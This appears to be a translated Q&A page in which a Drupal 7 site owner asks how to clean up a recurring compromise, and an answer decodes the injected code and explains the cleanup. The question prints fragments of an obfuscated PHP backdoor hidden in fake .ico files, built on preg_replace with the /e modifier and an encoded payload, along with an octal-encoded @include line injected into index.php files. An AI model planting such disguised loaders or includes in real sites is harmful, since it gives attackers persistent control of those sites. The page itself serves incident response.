如何清理被黑的Drupal网站

时间:2018-05-22 20:36:12

标签: php drupal-7 code-cleanup

我的drupal 7网站最近遭到了破坏 - 我想由于未修补的关键问题(我有两个次要版本而不是最新版本)但我无法再将它清理干净。

发生了什么:

不时(可能是通过访问某些页面触发)网站进入内部错误,根URL显示类似的内容(抱歉 - 我这次忘记记录)" PHP错误,预期)但是,发现in ....有一些.ico文件的路径"

该ico文件只包含一些PHP代码。并且它位于不同的地方,通常它的名字像.fsdr4ef.ico,并且位于随机的地方,如modues / file

示例内容:

PK /(/ vz8rq /微调/ mvo0 /(/ v / preg_replace函数/ m6yf /( /qp/rawurldecode/s8/(/13rz/"%2F%5C%28.%2A%24%2F&# 34; / es /)/ ctyo /,&#39;&#39;, FILE / st8j1 /)/ htzf3 // p6i25 /)/ k1vd // K5 /)/ DH0 < / em> /; $ 6famu =&#34; G%00%17K%12%07%03S%0A%40%0C%07G%09%15C%11V%02%0Bj%00A%07%17 %0AV%12H%00A%06%07A%06%0ENJF%24%1D%3D%07V%05%0F%5B%06%06N%10%1B%5C%03V%0El%00%09%5B%17K %11%170M%14R%02G%06F%120%0EXJT%24升%17GY%0E%16D%10%0ETCV%1EQ%00X%13%05%13%5B%00Z%00%0℃%01%0E%14F %04C%06%0DEK%0A%13%0B%1FG%10%1BC%17%0℃%0AA%14%40%1D%0C%1EZOLG%40%04%0℃%5E%0E%5D%08CR%0EA %10X%13%05%09GK%0A%00%5E %15F%13%0A%13_FF%17%5℃%05%06%01%06BM%0BC%0A%10%1CX%0EM%0AD %05OLG%40%04%0℃%5E%0E%5D%08CA%13F%5E%10%40%06%12%1DGA%05%17%18%40%12X%12G8BO%0B%5E%00%154 %0A%0Fj%3E%1ACY%15GA%05%17%18%40%12X%12G8BO%0B%5E%00%154%0A%0Fj%3E%13YF%11%19 F%19%0A%19uB%5E %3E%08%1EL%11%1BO%18%05%05M%09U%0E%0EA%14T%14%5B%1B%0FM%0EH%1 7AW%06%05Z%07KKX%1DK%12B%11%5DCBM%02_%0F%09%0CA%04ZK%17%10%01_%08C%1A%02F%15%1B%3DGR%14%13%40% 1BX%1E%0A%16%5BF%0AC%14FRgF%1A_F%5B%7CC%03U%16%06R%02%20%196%02%2A_C%609%1646p%0AG%28%0A0%60%27uFd3Cb%图1A%0B%3EWVA%3FnFd%15C%40%29%0B%5D1J%1AP%12%06%07DH%3FD%19%2AT0O%23FFd9Cb3%60%2

并且它要长得多。

这个ico include被随机生成的index.php文件调用,这些文件也放在不同的目录中(代码也在根文件夹的主index.php中)

/ 55b79 /

@include&#34; \ 057d \ 141t \ 141 / \ 167e \ 142 / \ 166i \ 162t \ 165a \ 154s \ 0571 \ 0670 \ 0676 \ 070 / \ 166i \ 162t \ 165a \ 154 / \ 167w \ 167 / \ 155O \ 144u \ 154E \ 163 / \ 146i \ 154E \ 057 \ 1467 \ 1433 \ 143F \ 065c \ 056i \ 143o&#34 ;;

/ 55b79 /

到目前为止我做了什么:

I changed my FTP password
Deleted everything by sites/ folde
Uploaded a lates Drupal 7 version
Searched and deleted all index.php files and suspicious .ico files
Changed Drupal admin password
Updated all modules and removed unsused ones

一切似乎都运转良好,但几天之后同样的问题 - 我真的不知道它是如何发生的?我甚至在所有的.php文件中搜索,以找出那些index.php可以创建的位置,但是没有找到任何东西。

感谢您的帮助。

TC

1 个答案:

答案 0 :(得分:2)

这是一条编码路径

@include "\057d\141t\141/\167e\142/\166i\162t\165a\154s\0571\0670\0676\070/\166i\162t\165a\154/\167w\167/\155o\144u\154e\163/\146i\154e\057.\1467\1433\143f\065c\056i\143o";

解码为(从here解码)

@include "/data/web/virtuals/170768/virtual/www/modules/file/.f7c3cf5c.ico"

这是伪装成图标文件的后门。删除此文件并删除所有恶意的index.php文件。也可能有一些文件具有随机名称,例如rkhqjezh.php。也删除它们。同时查看您现有的php文件。某些恶意代码也可能会注入到这些文件的开头。去掉它。这是一个繁琐的过程,但是最终您将能够删除每个文件。完成此操作后,您可能需要更改ftp密码。还要查看您的mysql日志,以查看是否有任何可能的sql注入。